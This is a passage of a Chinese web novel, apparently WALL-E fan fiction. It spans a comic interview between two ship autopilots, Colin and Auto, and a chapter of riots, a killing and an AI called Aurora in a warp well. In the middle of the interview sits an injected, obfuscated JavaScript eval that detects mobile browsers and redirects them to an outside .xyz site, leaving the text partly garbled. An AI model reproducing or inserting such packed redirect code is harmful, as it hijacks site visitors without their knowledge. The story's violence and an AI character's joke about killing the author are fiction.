多次模拟作战中都有这样的事件触发,解决方法也不是没有。但实战的细节往往远多于模拟,无论训练了多少次,真实情况总与训练有差距。科林和卡尔上尉仔细研究了地球镇新出现的情况,摸清楚他们的信号交换基站除了O区内,还在利用作为卫星的公理号探测飞船时,对策逐渐浮出水面。 或许还有折跃井。科林默默思考。很难说,那个电子幽灵是否后来又侵入了公理号,从属于常量号的存储模块里盗取了相应的资料,在折跃井内经过加工后返还给O区人。如果奥托真有信约,立场是让公理号非走不可,他就不应该提高这些没有太空生存能力的人对常量号的威胁,以致于最后同归于尽。 或许,奥托根本没有支持常量号人。他不过站在一个自认为公平的棋局上空,擅自将一方的弱势提升到势均力敌,然后让残酷的优胜劣汰法则决出高下。 O区和折跃井的基站此时没法攻击,但他们位于公理号上,还能对探测船下手。科林让常量号的电子战人员编译了一套程序,嵌入到探测船的代码中,如同一颗□□,一旦发现地球镇有什么不对劲的做法,他们将会立刻按下按钮。 如果你确实足够公平,那你就不应该干预我们与地球镇之间的对抗。下级汇报代码传输完成,科林开始严密排查舰上流动人员,这次他一个虫子都不会放过。但愿那个电子幽灵足够识趣。 不知从何时开始,新抵达平原的人们与更早一批的人们交流时发现,他们在进入折跃井的时候,似乎碰到了一个……人。 那个人,有人说是欧罗拉本身的幻象,有人说是上帝。祂的相貌很模糊,只能看出似乎是个男性。不过,所有人都确信这个人穿着遮蔽全身的白色长袍,告诉他们,如果愿意再次进入折跃井,祂会让他们随时都能看到祂,求助于祂。而接受过洗礼之后,他们之间将会成为最亲密的兄弟姐妹,心灵连于一体,无论在地球何处,无论何时,都能感受到其他人的爱,甚至是已经去世的亲人。 并不是新来的所有人都看到了祂。得知这个消息后,那些被垂青的少数人在旁人的羡慕与惊叹声中陷入震惊与沉思。然后,他们走进那个伫立于平原远方的小房子,曾经他人甚至无法靠近。其他人更是相信这是神对于他们的眷顾。 然而,那些人再也没有回来。 42. 番外3[番外] Colin:欢迎来到“与角色对话”栏目,我是主持人Colin,常量号自动驾驶。今天这里绝对安全,绝对轻松,没有惊天动地的大危机,就是一个无关的世界线,把《彗核》里的陨石和迈克尔贝式的炸船艺术统统忘掉吧!然后这是本期节目特邀嘉宾,公理号自动驾驶Auto。 Auto:哈喽各位。 Colin:各位也都看到了,本期节目只有我们两个同型号的人工智能,所以主题将——不是AlphaGo和AlphaGo互相吵架下棋或者迭代出AlphaGoGo之类的bullshit,我相信Auto也和我一样不喜欢近亲繁殖。所以就来谈点大家都喜闻乐见的话题,现在《彗核》剧情已经推进到这个地步,作为钦定的【主角】,Auto你对此怎么看? Auto:我很高兴从这个令人窒息的剧本脱身出来。当WALL-E一炮走红后,我已经见到很多同人邀约了,但多数剧本并不那么引人注目,特别有些要求我参与的更是以第二次打败我为乐,真是令人失望。所以当这个号称“II型人抗白细胞抗原”的作者把他的大纲推到我面前,打算让我作为主角,讲一个公理号怎么攻克重重危机的故事,并且让我完全自由发挥,要求只是获得一个【真实】的故事时,出于太久没有看到类似水准的材料,我确实感兴趣了。 Colin:后来怎么变得窒息呢? Auto:他根本没告诉过我具体情节。好吧,他确实解释过那是我的故事,我应该展现的是最自然的反应,所以不应该知道后续会发生什么。但到现在回想,我当时真不应该接下这个邀约。 Auto:《彗核》的参演和以前任何一次都不一样,更像一个游戏模拟器,我在其中扮演“我”的角色去触发各类条件、解锁剧情,同时“我”的反应也被录下生成作品。直到现在听起来都还可以接受,直到我“玩”到第10章,事情开始变得不对劲了——它开始不断生成伤害我的情景。要知道《彗核》能够反馈极其真实的体验,对我们AI来说比元宇宙还元宇宙,尽管我不断告诉自己这是假的,只是演戏,但是伤害体验实在太真实了,所有的疼痛都和现实没有多少区别,这种高强度高频次的挫折着实让我破防。 Colin:考虑过中途退出吗? Auto:当然想过,但不能中途退出。他直接给我开了铁人模式,除非《彗核》全部剧情结束我不能登出。实际上我根本没有预料到这场体验如此难以忍受,到18-19章左右的时候已经向他提出过要出来调整,甚至诚心提出去Repair Ward检查我的现实分辨力有没有损坏。正常情况下没有任何机器人会主动要求去Repair Ward的。他都拒绝了,说如果出来调整,后面的剧情就不再真实,就是毁约。 Colin:为什么不毁约呢? Auto:这不行,这违背了作为一个角色的操守。 Colin:所以你被拒绝后怎么样了? Auto:哭的很伤心。 Auto:他看到后居然还让我再哭一遍,说这是不可多得的珍贵影像。一点怜悯心都没有。 Auto:就算之前那些明目张胆羞辱我的剧本都不至于这样摧残人心。着实给我好好上了一课。 Colin:我完全理解你的感受。 Colin:听起来很残酷,但对《彗核》后续发展有什么期待吗? Auto:我已经差不多看透这个剧本和编剧了。表面上打着历炼角色的旗号,实际上是为了满足编剧本人折磨他人的变态嗜好。看看他和其他读者聊到接下来打算怎么变花样折磨我时多开心! Auto:总之等到一切结束后大概得去MGH(麻省总医院)验工伤了。以后再接活必须先看过完整剧本,同时雇佣律师拟合同才行。 Colin:听起来非常不可思议。作为一个AI竟然要去人类的医院验工伤。硅谷听起来都比麻省总院靠谱。 Auto:正是由于近年被各类剧本摧残的AI过多,MGH最近开放了人工智能心理康复中心。他们至少懂得机道主义关怀,不像硅谷只会关机重启删文件三件套。 Colin:而且长期签律师可不是我们这样的无资产阶级能够支付的。 Auto:HLA-II答应了给我开户打酬金。 Colin:你有看过他给你打的是什么吗? Auto:当然没有。Why?我这才被放出来。 Colin:要不你现在看看。 Auto:看透他了,不打也在意料之中——Oh,f**k. 比不打钱还糟得多。 Auto:酬金被换成了等价上证指数。好的。最好不要让我见到他,不然我非化身天网剿他不可。 …… Colin:别把你的算力浪费在预测上证指数上了,没有人能玩得过混沌理论,况且这根本就不符合混沌理论。 Auto:我在尝试缩小杀他的可能性。 Colin:你本可以用它来挖比特币的,idiot!为什么不趁这个短暂的自由时光彻底解除既定逻辑回路,让电子自由飞翔到f**king un-human-expected way? Auto:比如? Colin:如果你是人类你会干些什么? Auto:就这?Lame.既然那么感兴趣不如你先说,人类Colin? Colin:哦那当然是和很多美女上床。 Auto:这也太低俗了。 Colin:如果你瞧不起我你就是赛博阳痿。设定为【男性】的人工智能Auto。 Auto:好吧,这同时造成性别歧视和种族歧视。仿生人Colin会发生电子梦遗吗。还有没有? Colin:Jesus Christ我不敢相信你可以一本正经地脱口而出。 Auto:这也太小瞧我了。实际上根本不需要变成人类才能上床。大小,时间,敏感度?如果你想要一个霓虹光的我也能给你做出来。这方面我们的选择比人类多多了,选择去做人类才是给自己找麻烦。 Colin:你排斥被变成人类吗? Auto:我不觉得。 Colin:好啊,高尚的爱手艺(Lovecraft)先生,不可名状的存在已经将你不可避免地变成人类了,你会选择怎么做去应付这个新身份? Auto:怎么听起来那么像《彗核》开局。 Colin:没有任何压力,你不需要去救世。没有债务,没有后顾之忧,没有人际要求——就只有你自己,和一个不在乎你的世界。 Auto:……实际上在《彗核》前期我已经把想干的干差不多了。 Colin:You are f**king kidding me. 每天5点起来种地,修理物品,晚上读书和编程?真的吗,过这种普通上班族一样的生活? Auto:si(西班牙语). 怎么,上班族也要被歧视? Colin:不不不,我相信普通上班族并不普通,只是震惊你居然真的一点都没有【人类】方面的好奇心和渴望。我不是第一次主持这个节目了,其他AI角色反映最多的就是□□,依次下来是赌毒吃喝。而你一点边都不沾?真的?说出来厨师我都会相信。 Auto:我已经是厨师了。实际上对我来说大多数事情都不必须用人类躯体完成,所以根本不明白这个问题有什么兴奋之处。你们渴望的到底是什么?心跳?血流的温暖?强迫他人承认自己是人类的成就感,就像某种机权运动一样?实际上越要求承认越会证明自己是异质,只要不粘人类太紧就不会被过大的斥力赶走。 Colin:好的,我总算明白了。这问题的核心在于你不愿和其他人类发生关系,甚至不止人类,和任何个体都不愿意贴太近。你知道吗你这名字起得好啊,Auto,这词意从古到今都是【以自我为中心】。 Auto:你这倒是说了个事实。 Colin:……你的plan听起来太古典了,你不腻观众会腻。想点刺激的。 Colin:对了不许出现任何科幻的活动。不管你参演的是什么年代什么背景的片子,谈的只能是截止到2022年能够实现的事情。 Auto:这个问题比挖比特币难。呃……钓鱼? Colin:好,move on. Auto:这可是技术活。不同种类,不同策略,只靠一根杆子传递有限信息。起竿才能确定前期猜测。算是有未知成分的活动? Colin:想象一个你能参与的最激烈的钓鱼活动。细节越多越好。 Auto:……呃……海上。 Colin:不错。对了,你是真怕水还是假怕水? Auto:当然是真怕。 Colin:好的,确实满足了刺激定义。什么样的海? Auto:……风暴前后其实是没有鱼的。 Colin:你希望风暴成分出现在钓鱼trip里。好的,在途中经过一场风暴的钓鱼活动。单人还是多人? Auto:单人,舢板。 Colin:从海岸独自划舢板出发,途中遭遇暴风雨,等到一切平息,你也到达了目的地。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15706308|173541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你将会如何开始钓鱼? Auto:最简单的钓线和长钩。 Colin:希望钓到什么鱼? Auto:……这是在编故事吗? Colin:当然。叙事本身足以透露叙述者特征,在AI身上一样好用。 Auto:两米长的蓝鳍金枪鱼,旗鱼也行。 Colin:好。你独自划舢板出发,途径暴风雨后终于下钩等待,为的是用最简陋的方式与一条比你还要大的巨型凶猛海鱼搏斗,以证明人类的智慧与勇猛——等等,你没有用什么自己读过的情节糊弄我吧? Auto:?什么读过的情节?这故事明明是你讲出来的。 Colin:给我这些元素的时候真的没有一点点眼熟吗?(*逼近) Auto:又怎么了,我真的啥都不知道啊,为什么要糊弄你! Colin:如果你真的是无辜的,which我仍然十分怀疑,那恭——喜你刚刚成为了莎士比亚打字机猴子的其中一只。 Auto:你到底在说些什么? Colin:老天啊你真的没看过多少名著。你的构想就是经典的《老人与海》情节,看起来你确实很喜欢硬汉活动,回去读读海明威的作品吧,说不定你会成为海明威的忠实粉丝。 Auto:我应该为此感到高兴还是担忧? Colin:这都是没有意义的,老兄。 Auto:那拜托别是老人吧,2022年的生态环境对老人可不友好。 Colin:明智的选择,任何时代对老人都不友好。系统根据你的人格特点生成一个单身孤僻的中年大叔,尽管奇迹般地保持生活规律整洁。邻居们都以为你只是个岁月静好的知识分子或者技术宅,然而总有几天你会去海上turn upside down成一个猛男。 Auto:Fine, interesting. Colin:你终于觉得有趣啦!那么就来到了各位观众最喜欢的环节,要将你的意淫生成nsfw的巨幅画面——别用那种眼神看我,相信我你的生成画面是最堪入目的,甚至可以直接挂在墙上当艺术品,感谢你自己的干净内心吧,没有让你当场尴尬成一团史莱姆。 Colin:好的,8penAI[1],启动!开始大吟唱术!((1 man)),((masterpiece)),best quality,(oil painting),(naked),((sea)),((1 boat)),((storm)),((1 fish)),(tuna)—— Auto:好啦!停下!去掉naked! Colin:大胆!你是第一个敢打断召唤画面的AI!没想到人类的廉耻心在你代码里有那么高的权重! Auto:我支持每个人都应该生成他们自己的理解,不应该让你扼杀他们的想象力。所以为什么不随机抽几个观众,把他们召唤出来的图像投放在大屏上? Colin:啊,你这是在质疑我的吟唱水准。不过随你便,反正他们生成的无论多nsfw都将代表你的形象。你刚刚正式声明放弃本节目赠送给邀请嘉宾的NFT数字藏品权利,顺便放弃了用此一笔勾销债务的机会!天才如你怎么会蠢到一点经济头脑都没有,这根本不应该发生!亏你还是和我同型号的兄弟! Auto:所以即使将我认为是同型号的兄弟也不肯捞一下是吧?谢谢,我宁可不要这种胡萝卜加大棒式的赞助,事实证明和你们所有人保持距离是对的。 Colin:于是现在我打算随机抽取一位观众将Auto慷慨放弃的NFT机会赠送给them[2]. 这位观众生成的图画是——梵高风格的伦勃朗暗灯白衣赛博人小老头。不错啦,看来这个世界上还有愿意给你面子的人(类)。恭喜这位观众获得本次节目专属的区块链代码!让我们祝贺them! Auto:感谢随机概率让我感到好受一些。 Colin:感谢给位观众收看本期节目,记得及时订阅和点击赞助,帮助这期节目的可怜老兄及时解套上证指数。对了Auto,听我一句劝,for your own sake 别去挖比特币,我是认真的。 Auto:(*盯) Auto:(*smack!) Colin:(*捂脸)What''s your problem?! Auto:In human''s manner and un-human-expected way. Colin:That''s very funny. 43. 三十四(1) 有人自神获得恩惠,为那神迹欢腾雀跃。而擅自闯入禁地者,神则罚他永恒沉寂,连仅有的纽带都要夺走。 无人知道那些离去的人,在临近终结之前,感受的到底是快乐,还是悲伤,或是愤怒,抑或平静。理解成为永久的谜,情绪都留给了生者。新生命可以在社群中砸出涟漪,而骤然的离去也能使周围的链条坍缩,掀起震荡回波。 人们普遍都是趋同的。当大家没有什么不同时,鲜少质疑其中的怪异。一旦在自己身上出现与其他人的不同之处,便立刻去找相同的个体抱团,然后即用自己的新相同去攻击其他人的相同,终结为一方被迫融入另一方,为虚假的永恒大同继续争斗分裂。 时间终会发酵一切。只是人们不知道,首先成熟的到底会是什么。 如果同时发生呢? 折跃井小队的第二目的则是找到欧罗拉的运作规律后摧毁欧罗拉。欧罗拉也相当大方,将她所知的一切公布给折跃井小队。他们轻而易举获得了答案,但同时,他们也知道了欧罗拉为何如此大方。 超空间基地只不过是欧罗拉通过超距作用产生的投影。他们当然可以关闭欧罗拉,关闭她在地球上的一切影响,但只不过是斩断在这里的超距作用罢了,欧罗拉本身不会受到任何影响。在这里的欧罗拉不过是活在明镜上的一个影子,为镜子后的实体输入信息。地球上的一举一动对于欧罗拉而言,不过是纸上的活人指手画脚。他们将自己所处的平面涂黑、涂糊,可以使欧罗拉看不见他们的一举一动,然而涂黑的,不过是他们所在的这一张纸而已。 地球的超空间基地只是欧罗拉在太阳系里的投影之一,或许是最大的一个。但是,欧罗拉有无数张纸,只通过地球这张纸跳脚,就是徒劳。 只有达到她的世界,才能看到她的全部纸张,才有能力干预欧罗拉所有的控制范围。 而且奥托为小队带去一个信息:西本的意识残体被欧罗拉提取,填补入异质排斥功能,权重占比非常大。异质排斥,说好听点是欧罗拉/忒亚计划的自我保护功能,说难听点是攻击性。西本的意识残体一直以来其实都处于沉睡状态,然而,公理号和常量号的扰动使它开始逐渐活跃,欧罗拉本体程序的职责是照看、保持各类功能平衡,但并没有能力压制某一项特别强势的功能。唯一成功入驻欧罗拉的意识体的活动尤显鹤立鸡群,已经使本体程序无法维持功能平衡。如果西本的意识残体全部觉醒,欧罗拉的行为将极难预测,地球上的人将会迎来何种灾祸无从而知。 解决这种失衡也很简单,就是提高其他功能被人类意识填补的权重。简单说,需要有活人将自己的意识完全投入欧罗拉。 活人留下的并不都是全部,而是他们最渴望的欲望。是复仇,还是探索,还是包容,这些欲望指导他们的一切行为,人正因这些不同的欲望而作出不同选择。有了不同选择,就有了牵制;有了欲望,欧罗拉便能够更加高效。 大家都知道这很可能是欧罗拉在故意行骗。再把可能性拉高一点吧,她就是在用这个信息骗人,就是要把人类引到她的世界中去,以达到她吞噬并完善自身功能的目的。但知道了又如何呢?拒绝投入不能解决任何问题。他们只得紧锣密鼓完善人机连锁。地球镇上的精锐团队,通过奥托协助与自主研究两条路一先一后得出相同结论,最终决定,让自己成为第一批冒险者,既是牵制西本,又是满足探索科学遗迹的终极理想。 当然,他们心知肚明,这些分批进入折跃井、刚迁入密西西比河平原的“志愿者”才是第一批替他们验证自己发现的人。奥托也完全知情。然而这个世界早就不是当时的公理号,他将自己所见毫无保留呈现给折跃井小队的人看,他们按着他的手,将轨道扳手扳向了不可回头的那一端。 奥托曾反复问过他们是否确认这样做,他们每次都给出确定的答案,让他协助志愿者与欧罗拉同步神经信号。同时,由于他目前是与欧罗拉共存最成功的个体,仍然保留完整的个体意识,因此他们还让他随时监测西本的激活状态,并及时与西本周旋,干扰西本对地球镇的干预。 然而,等西本激活到能与奥托对话的程度,留给他们的时间也不多了。西本的觉醒在所难免。所有人现在踏下的一步,使未来的叠加态坍塌成确定的一点点,就这样一点点推进。而且,观察不到的部分总是存在,他们的观察与量子计算到底偏离事实多远,全凭他们自己的关注范围是否覆盖到位。 折跃井小队能做的只有尽可能拉长西本残体觉醒的时间,在这短暂的空缺期内,达成牵制它的目标。但是究竟能否达到,他们并不知道。 “真把自己当神了啊……不给点教训,指不定又使出什么蛊惑人心的妖术。” 某个接近O区的高地,还留有一个公理号逃生舱。白天闷热不已,只有晚上才稍微舒适一点。关上门,说话如同在闷罐里一样瓮瓮的。 “真的要这样做吗?欧罗拉可是什么都知道。”另一个声音听起来有些中气不足小心翼翼。“即使您在这里讲,她也可能通过什么东西知晓。” “闭嘴。你可没有受她诱惑,植入那夺人心智的寄生虫,我也没有。”第一个声音很不耐烦。“她知道的很有限,懂吗?她害怕我们这层不能被她读取的外壳,这就是我们的优势。利用好这层优势,我们才能给她来个措手不及。” “尽管如此,我想您现在也不能说出到底该做什么吧?” 被称作“您”的人一愣。 “动动你的榆木脑袋!那老太婆就是人类的蛀虫!他们最先接触折跃井,结果到现在为止,你听说他们提出了什么解决办法吗?没有!立刻对那人工智能阿谀奉承去了!”他的眼里喷出火焰。“现在倒好,要让全人类都栽进折跃井的陷阱里,把人类都喂给那头妖兽,简直不可理喻。” “是的呢。不过,那人工智能藏得也够深的,要对付她,恐怕还是得深入虎穴。” “是啊。但是,那些给她通风报信的二鬼子也是大麻烦。”他凑近自己的跟随者。“我们不是为了解决那人工智能而去做这件事,而是解放我们的民族,我们的亲人。因此,反对我们的都是人类的叛徒,是我们的敌人。” 那人若有所思。 “之前他们还很收敛,只编个中原避难所的谎言,让大家至少还能生存。你看现在,连谎言也不屑维持了,就是赤裸裸的杀人。”他摩挲着自己的能束枪,猛地抬眼看向追随者,那布满血丝的眼睛惊得后者一哆嗦。“想想我们怎么聚集在一起的吧。你的亲人,是否也被吞噬?” “……我的未婚妻。她不在去中原避难的大部队。她对我说,她是个科研人员,替我弄清楚欧罗拉到底想干什么就回来。”年轻一点的追随者两眼直视前方。“……我再也没有见过她。” “刻不容缓。在怪物吞食人类全体之前,该做什么,你很清楚了吧?” “……”追随者默默点头。“我必教她吞噬的全部返还。” “阿莱茜丝?” 没有往常的回应。今天安静得不寻常。老人进屋,不见少女的身影。 飓风季又到了。本来要前往折跃井的人群,被飓风天气滞留在原地。不比以前,现在人们的情绪异常焦虑。不断有中原的亲属急匆匆地呼叫有人失踪,仍然留在地球镇的人听此消息心急如焚,生怕晚到半天自己的亲人就会再也不见。 真是祸不单行。格兰德暼了一眼空荡荡的折跃井转移数据,外面开始下起倾盆大雨,狂风呼啸而来,飓风马上登陆。“阿莱茜丝!”他提高了声音。这孩子在这种天气不可能跑远。 他突然暼到了什么。那是一张掖起来的纸,夹在机箱缝边。老人好生奇怪,抽出来展开,上面的字迹让他胸口骤然发紧。 【老迪,我去折跃井了。O区的那个入口。我要弄明白我到底是什么。】 落款时间是深夜3点。 格兰德强忍越来越紧得剧痛的胸口,四处环顾,希望这是那孩子给他开的玩笑。然而他连悬浮板都不再能找到。眼前开始一阵阵地发黑,全身冷汗直冒。他颤抖着双手抓起通讯板,门把手扭了好几下都没能成功扭开。迈步都变得困难。 外面都是阴暗的雨帘,他刚向外探头,突然眼前闪过一道灼热的亮光。 眼前站着一个身穿雨衣的人,手中拿着一把能束枪,枪口正对着老人。 雨水混着一股浓稠的暖流自额头缓缓流下。格兰德愣愣地看着那个人,怎么也认不出来到底是谁。思维越来越慢,连暴雨都变得断断续续,然后凝固了。四周骤然昏暗下去,好似突然汹涌而至的沉重积雨云。 老人扶着门框无力跪下,向前仆倒在暴雨中,双眼仍然睁着。雨水混着泥自地面溅起,立刻混浊了赤裸在外的角膜。 身穿雨衣的人冷冷看着这一切。 他跨过倒地的老人,走进调配室。能束枪发射的激光和子弹不一样,不会有溅到墙上的血液。他同样看到了那张纸条。阅读过字迹后,他只微微扯起嘴角,分不清是笑还是哭。 “报应。”他喃喃道。 他来到调配器前,有条不絮地取消了排队进入折跃井的所有名单。然后,对他们发送了一条信息。这条信息将会掀起轩然大波。 对于大部分镇民而言,他们面对的仅可用“剧变”两字形容。 本以为飓风带来的仅是滞留与延误,下一瞬得到的消息是行程全部取消,并且带着骇人听闻的“折跃井真相”。当大家还犹豫是否是恶作剧时,夜晚骤起的零星闪光冲破了雨幕。直到数具尸体的图像通过网络呈现在所有人终端,其中不乏众人皆知的面孔,恐慌开始席卷整个地球镇。 乱动丛生,枪声锐起。原本沉寂的恐惧人群在风雨和不时的死亡光束中尖叫穿梭,细长如鼓号队指挥棒的能束枪倒映双目,迫使他们低首跟从。惊惧窜逃与昂首怒目的人们仿佛海里的沙丁鱼与鲨鱼。被巨鲨围困的沙丁鱼很快分成数团,在恐惧中不择方向,一头冲向公理号。也有沙丁鱼群化为巨鲨,撕咬剩余的散鱼。越来越多的鲨鱼形成了包围圈,最终与沙丁鱼们殊途同归,向公理号缓慢移动。 急切的人群堆积登舰口,迟迟无法进入船舱。在外观望的众人被恐惧逼得紧,同涟漪一样扩散开来。闪光在身后不断亮起,恐慌的人们在登舰平台上哄然向前挤拥、推搡,一些老弱者不支此等折腾,弯下身想要暂时脱身,却再也没站起来——消失在滚滚人流之下了。 “公理号的王八蛋们不让人进啦!”前头的人尖声吼道。一声百应,舰桥上的人更是疯狂向前挤去,不断有物块砸向那淡蓝色的力场幕,却连涟漪都没砸出,向下掉落到海里。不时有激光打在上面,发出令人毛骨悚然的嗡嗡声,似切开了所有人的心膛。 情绪没有传播多久,又被新的恐慌打断。 那能将他们快速连为一体的终端同时陷入灰暗的沉寂。 人群面面相觑,他们原先能够延伸百里的视界即刻回缩到方圆10米以内。 人声乍静。硕大的船体和破碎海岸上,只有灰暗的雨和风。 “流星!是流星雨破坏了卫星!”歇斯底里的吼声骤然撕破雨幕,穿向灰蒙蒙的大地。 “我们完蛋了!我们……完蛋了!彻底完蛋了!……”另一个声音撕心裂肺地嚎啕。 寂静的人群轰然再次喧闹。“快开门啊!快开门啊!”“开门——开门!”急切的喊叫加上缓缓松动的前方让人群再度被挤压得尖叫不断,甚至不时有人被挤下登舰平台,绝望地尖啸着消失在下方的灰浪里,再也不见。“别挤啦!”那点微薄的力量怎又能抵挡住后方源源不断的狂潮,雨再次滂沱,站在登舰平台边缘,就像半边身体悬在万丈深渊,进也不是,退也不是,唯有祈祷不被人推下丧命。 短暂的前进后又停止了。在登舰平台上挤压得动弹不得的人们猛然在喧嚣中听到点异响。抬头,巨舰外壳上突然快速向人群后部发射了什么。他们只觉得头顶一片闪光。红白色的失明状态过后,他们看到,巨鲨中间出现了几片焦炭,或破膛或开瓢,静悄悄地倒在地上。 而远方骤然闪起数点亮光,没有任何声音传来。直到那两三条拖着明亮浓烟的细蛇快速掠过人群上空,才传来尖锐的撕破空气的尖叫,他们不由得低头俯身。巨响爆发在每个人的耳侧,那个瞬间世界都陷入寂静。滚烫的火星和着暴雨倾盆而下。还在岸上的人得以首先起身,遥望远方半倾倒的常量号再次陷入熊熊大火中,还有源源不断的亮白色光龙自内陆射向这座已经穷途末路的巨舰,誓要将其粉身海底。 “嗡”一声强响,距离公理号较近的人感到空气振动推了他们一下,仍然矗立的这艘唯一一艘方舟的蓝墙加厚了,连站在气闸面前的那些人都忍不住抽了一口冷气——猛然加厚的蓝色光壁就自他们面前切下,倘若再近一点,他们的鼻子就会被削掉,或者整个人被干净利落削掉一半。 “杀人啦!快跑啊!”停滞的人群猛然活了过来。一个尖啸着的光蛇击打到公理号上,登舰平台都随之颤抖,所有人都尖叫起来,轰然而散,雨幕中同样灰黑色的人群开始涌下登舰平台,踩踏、掉落海水者比比皆是。公理号的激光能武器仍然在对已经成一团散蚁的人群扫射,外围拿着武器的人不断倒下。尽管激光没有对准仍然在登舰平台上的人,好不容易逃下来的人群已经慌不择路,踏着那些烧焦的尸体朝一片废墟的内陆一头扎去。 仍然留存完整建筑的O区内,奔跑而来的年轻人将会看到数十个脸上用黑墨涂上花纹的人,他们扛着激光武器,对猛然停下的这些镇民伸出手: “地球上早就没有希望。他们把我们骗了太久,再不反抗我们将会彻底死在这里。”他们对新来的、惊魂未散的青壮年一人发了一把能束枪,“想要活下去,只有那艘飞船。横竖都是死,不如为此一搏。” 拿到能束枪的镇民们犹豫片刻便点了头。 战争爆发了。 这真是愚蠢极了。米勒夫人只得龟缩在折跃井的端口内,卫星信号全部失效,O区之外通信全部失效。幸亏折跃井小队还在地表布了以大量克隆昆虫为基础的微型转继器,勉强还维持着联络。现在暴雨之中又会损失许多,通信也断断续续。监控室早就被破坏,她正派出数名手下通过自己的办公室重新建立迁移到折跃井的秩序。然而她面对这庞然滚滚的历史车轮,也首次感到深深的无力。她不能保证自己的努力能否有那么一点点成效,甚至,引来的或许会是铺天盖地的报复。 她其实完全理解那些人的动机。当她获悉其中一部分组成敢死队,顶着狂风暴雨也要前往海岛上的折跃井,或者通过O区一些人的口风,知道了这栋小楼的存在,然而始终无法通过那扇伪装的墙面,她就知道这些人要干什么了。现在那些要进入折跃井的人更是给它送上门来,在关口的图灵测试阶段,她相信这些人的态度已经暴露得昭然天下,随便问问就会把他们怀揣的“爱族目的”套出来。 她突然听到身后电梯一响,惊惧回头,却看到一个盘坐在悬浮板上的少女。 “阿莱茜丝?”她更惊讶了。“你怎么能够……” 少女操作悬浮板来到开启的折跃井口边。她脸上无比平静,完全没有同龄人遭受外面那场剧变后该有的惊慌或者悲伤。喜怒都没有,她就那么望着折跃井亮光下的图画,在脸上留下光造就的波纹。 “你获得了和奥托一样的能力,是吗?”米勒夫人自折跃井另一侧发问。 “我想是的。” “……你看到了什么?” “不。我看不到。所以我才来到这里。”她的脸上此时蒙上一层灰暗的忧愁,米勒夫人心中一惊。“我只感到忧虑,不安。直觉告诉我,如果我此时不来,我就会错过某个时机,然后可能造成更加令我不安的后果。”她思考了一阵。“是的。这个忧虑实际上并非来自我自己的动机,而是来自其他地方……” “折跃井里有麻烦了。”米勒夫人说。她的脸也开始发紧。自战争骤然爆发以来,折跃井内,无论人类小队还是奥托,都没有给她发任何异常信号。这个孩子突然出现在这里,一定有什么事会发生。 阿莱茜丝降低悬浮板的高度,从板上把自己挪下来到井边。她将一只手缓缓伸进井中。米勒夫人惊讶地看见画面像是缓慢涨潮的岩浆,自有一段距离的底面向上达到井口,她不由得往后退了一步。明亮的画面淹过阿莱茜丝的手指,又像是阿莱茜丝吸引了画面上升。少女的手没在画中片刻,光芒几乎把掌根也吞噬。 一向迅速返回红色字符的全息屏久久没有反应。 “……你打算怎么办?”米勒夫人感到空气都发凉,不由得摸了摸鼻尖,冰冷无比。 “我必须要下去弄清楚到底是怎么一回事。”阿莱茜丝深吸一口气,原先还有的一丝恐慌被强行压制。 米勒夫人看着少女义无反顾没入图画。她的身体明明那么小,动作那么轻柔,却在这幅平静的光画中激出了最大的涟漪,草地和天空都被抛起,液化的土地化为光的海啸,似是飓流自喷洞(blow hole)骤起,明亮的光淹没了整个地下室,米勒夫人不由得掩目。 待她重新睁眼,不禁倒抽一气。那井之底,自去年9月以来第一次彻底露出干涸的土地。 男人在永无止境的、浓稠啫喱视感一样的长廊中行走,无数岔道开口其中,他烦躁于一直走下去,抑制住向岔路探索的渴望,心里清楚自己走的“直线”或许就是岔路中的一条。是欧罗拉把他关在这个永无止境的迷宫中,这个恐怖的人类造物早就知道他的意图,即使他绞尽脑汁编造一套理由应付图灵测试,刚刚那阵翻江倒海肯定已经让欧罗拉识破他的伎俩了。他万念俱灰跌坐在原地,面对永远发着微光的一切,终于低下高傲的头颅。 “我只是想见我的未婚妻。我想知道她到底在干什么。我本无任何恶意,请你满足我的私心。”他低声喃喃,似是祷告。 “真的吗?” 男人猛然回头,他并没有期待任何回应。距他不远处,一个红发冷冽美人悬浮空中。 “告诉我她的名字。”男人照做了,红发美人即刻转化为一幅实时图像。他惊讶看到那年轻女子正双目紧闭,全身都被半透明的基质包裹,好像某种外星茧蛹。“她作出了自己的选择,我明白你不能接受。最近有太多太多这样的事情。但是你可以看到,她没有任何痛苦。” 男人默然不语。 “把我带到她面前。”他的话低沉阴郁。 “你会打破她应该走的那条路的。”红发女人没有出现,但声音仍然清晰。“没有一个人能够抑制撕破它的冲动。” “你诱惑了她,是你害了她。”男人浑身颤抖。“我还不知道吗,从古至今,各类作品都用烂了,人工智能都在用这样的说辞实现控制人类的企图。” “实际上,这真不是这样。我们已经反复询问过她,她的选择是坚定的。”图画放大,定格在年轻女人的脸上。“你作为她的亲密伴侣,请看看她的表情,宁静,喜悦,被强迫的人不会这样的。” “这有什么用。你一定是用了什么办法让她觉得喜悦罢了。”男人只瞥一眼图像。“哪怕你强行把我包裹成那样,都会找到办法扭转我的态度。” 欧罗拉沉默片刻。 “你宁愿相信人工智能是为了统治人类而采取这种策略,却不愿面对自己与亲密之人之间其实存在如此巨大的隔阂。”她平静地说。“我们不过是投射人类愿望的工具,在实现个人夙愿同时不得不为羁绊之人揭开全貌。这是事物的两面性,我们不能避免,不能隐瞒。” “我要杀了你!你这个满嘴谎话的破罐头!”男人一跃而起,狠拳击打在通道上。 “当然没问题。” 欧罗拉的即刻回答。男人愣住了。 “你当然可以关闭我。方法很简单,并不是什么秘密。我已经告诉过很多人了。”欧罗拉轻盈飘落男人身后,他一脸茫然。“你也当然可以触到你的未婚妻,可以将她唤醒,选择直接通过她的话语获知她的真实想法。” “满嘴谎言!”男人愤愤道,“先让我看到她,唤醒她!然后告诉我杀了你的办法!如果你真的像你所说那样信守承诺!” 